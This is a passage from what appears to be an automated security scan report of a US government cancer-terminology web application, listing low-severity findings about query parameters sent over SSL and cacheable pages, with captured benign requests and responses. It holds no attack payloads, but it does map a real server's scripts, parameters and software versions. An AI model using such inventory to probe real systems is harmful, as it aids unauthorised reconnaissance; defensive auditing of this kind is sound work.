| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DiseaseDiagnosisTerms.py |
| Parameter: | flavor |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DiseaseDiagnosisTerms.py?Session=guest&flavor=short HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:28 GMT
Connection: close
Content-Length: 305395

<html>
<head>
<title>CDR Cancer Diagnosis Hierarchy Report</title>
<style type = 'text/css'>
h1 { color: navy; font-size: 14: font-weight: bold;
font-family: Arial, Helvetica, sans-serif; }
li.st { color: green; font-size: 14; font-weight: bold; list-style: none;
font-family: serif; font-variant: small-caps; }
li.t { color: blue; font-size: 14; list-style: none; font-weight: normal;
font-family: Arial, Helvetica, sans-serif; font-variant: normal }
li.a { color: #FF2222; font-size: 12; list-style: none;
font-variant: normal;

...
```

## Issue 2 of 3

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448114 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DiseaseDiagnosisTerms.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/DiseaseDiagnosisTerms.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/DiseaseDiagnosisTerms.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:44:20 GMT
Connection: close
Content-Length: 1835398

<html>
<head>
<title>CDR Cancer Diagnosis Hierarchy Report</title>
<style type = 'text/css'>
h1 { color: navy; font-size: 14: font-weight: bold;
font-family: Arial, Helvetica, sans-serif; }
li.st { color: green; font-size: 14; font-weight: bold; list-style: none;
font-family: serif; font-variant: small-caps; }
li.t { color: blue; font-size: 14; list-style: none; font-weight: normal;
font-family: Arial, Helvetica, sans-serif; font-variant: normal }
li.a { color: #FF2222; font-size: 12; list-style: none;
font-variant: normal;

...
```

## Issue 3 of 3

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448134 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DiseaseDiagnosisTerms.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 2

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DiseaseDiagnosisTerms.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:23 GMT
Connection: close
Content-Length: 1835398

<html>
<head>
<title>CDR Cancer Diagnosis Hierarchy Report</title>
<style type = 'text/css'>
h1 { color: navy; font-size: 14: font-weight: bold;
font-family: Arial, Helvetica, sans-serif; }
li.st { color: green; font-size: 14; font-weight: bold; list-style: none;
font-family: serif; font-variant: small-caps; }
li.t { color: blue; font-size: 14; list-style: none; font-weight: normal;
font-family: Arial, Helvetica, sans-serif; font-variant: normal }
li.a { color: #FF2222; font-size: 12; list-style: none;
font-variant: normal;

...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport.py - 2 issue(s)

### Issue 1 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448035 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DrugAgentReport.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=DrugAgentReport-20140722122634.xls
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:37 GMT
Connection: close
Content-Length: 153600
```

## Issue 2 of 2

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448077 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/DrugAgentReport.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/DrugAgentReport.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=DrugAgentReport-20140722124614.xls
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:46:17 GMT
Connection: close
Content-Length: 153600
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport2.py - 2 issue(s)

### Issue 1 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448262 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport2.py |
| Parameter: | alldrugs |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DrugAgentReport2.py?Session=guest&alldrugs=true HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=DrugAgentReport-20140722122745.xls
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:01 GMT
Connection: close
Content-Length: 1830912
```

## Issue 2 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448296 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport2.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DrugAgentReport2.py?Session=guest&alldrugs=true HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=DrugAgentReport-20140722122745.xls
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:01 GMT
Connection: close
Content-Length: 1830912
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/Filter.py - 33 issue(s)

### Issue 1 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448031 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | validate |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10=&validate=Y HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:06 GMT
Connection: close
Content-Length: 990

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<html>
<head>
<title>Validation results for CDR106085</title>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
</head>
<body>
<h2>Validation results for CDR106085</h2>
<table border='1' cellspacing='0' cellpadding='2'>
<tr>
<th>Type</th>
<th>Document</th>
<th>Line</th>
<th>Message</th>

...
```

## Issue 2 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448039 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter4 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 3 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448041 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | port |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 4 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448052 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | newdtd |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 5 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448053 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | rsmarkup |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 6 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448057 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter6 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 7 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448083 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | ispp |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 8 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448084 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | qcFilterSets |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10=&qcFilterSets=Y HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:18 GMT
Connection: close
Content-Length: 1801

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR XSLT Filtering</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 9 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448099 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | internal |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 10 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448123 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter2 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 11 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448127 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter10 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 12 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448141 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | glosshp |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 13 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448147 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | approved |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
